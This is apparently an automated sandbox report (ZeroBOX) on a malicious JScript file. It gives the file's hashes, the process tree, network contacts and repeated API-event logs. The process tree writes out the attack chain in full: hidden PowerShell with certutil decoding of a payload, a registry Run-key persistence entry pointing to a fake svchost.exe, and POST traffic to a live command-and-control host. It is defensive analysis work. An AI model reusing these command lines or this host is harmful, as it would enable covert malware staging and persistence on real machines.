Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 5, 2024, 2:27 p.m.	Aug. 5, 2024, 2:29 p.m.

Size	17.6MB
Type	ASCII text, with very long lines, with no line terminators
MD5	`6fba482cb866a3c51dc9063527886f5d`
SHA256	`06e2ab3fe5afc927642244644dfddb0f920ff1ab11c5e5631e26dbd62ed6978a`
CRC32	`9AFBEBCE`
ssdeep	`49152:g6WT+aCRHQpNfDaiHMwOgGE2zMXjodR61iVgO9bqJqW17zb0tVqLx2zr+/N7+yaP:r`
Yara	anti_vm_detect - Possibly employs anti-virtualization techniques

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\민혜지2.jse
2572
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR
  2788
  - certutil.exe "C:\Windows\system32\certutil.exe" -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR
    2904
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden cmd /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
  2964
  - cmd.exe "C:\Windows\system32\cmd.exe" /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
    3056
    - cmd.exe cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
      1152
      - jB2OWAx.lEKR C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
        800
        
        reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /d "\"C:\ProgramData\System32\svchost.exe\" --help" /t REG_SZ /v "System" /f
        1356
        
        svchost.exe "C:\ProgramData\System32\svchost.exe" --help "C:\ProgramData\jB2OWAx.lEKR"
        2176

Name	Response	Post-Analysis Lookup
pmlroma.kro.kr	A 77.73.69.166	77.73.69.166

IP Address	Status	Action
164.124.101.2	Active	Moloch
77.73.69.166	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 5, 2024, 2:27 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 5, 2024, 2:27 p.m.			0	0
IsDebuggerPresent Aug. 5, 2024, 2:27 p.m.			0	0
IsDebuggerPresent Aug. 5, 2024, 2:27 p.m.			0	0

Command line console output was observed (4 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 5, 2024, 2:27 p.m.	buffer: Input Length = 4281688 console_handle: 0x00000007	1	1
WriteConsoleW Aug. 5, 2024, 2:27 p.m.	buffer: Output Length = 3211264 console_handle: 0x00000007	1	1
WriteConsoleW Aug. 5, 2024, 2:27 p.m.	buffer: CertUtil: -decode command completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Aug. 5, 2024, 2:28 p.m.	buffer: The operation completed successfully. console_handle: 0x0000000000000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 80 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032c7c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d1c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d1c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d1c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d1c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d1c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d1c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032c600 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032c600 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032c600 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032cec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0032d280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391518 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 5, 2024, 2:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00391918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 5, 2024, 2:27 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header

suspicious_request

POST http://pmlroma.kro.kr/index.php

Performs some HTTP requests (1 event)

request

POST http://pmlroma.kro.kr/index.php

Sends data using the HTTP POST Method (1 event)

request

POST http://pmlroma.kro.kr/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 260 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2572 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02de0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 1507328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x711f1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0221a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x711f2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02212000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02222000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0271a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02223000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02224000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0272b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02727000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0221b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02712000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02725000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02225000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0271c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02226000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0272c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02713000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02714000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02715000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02716000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02717000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02718000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02719000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aaa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aae000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aaf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05040000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05041000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
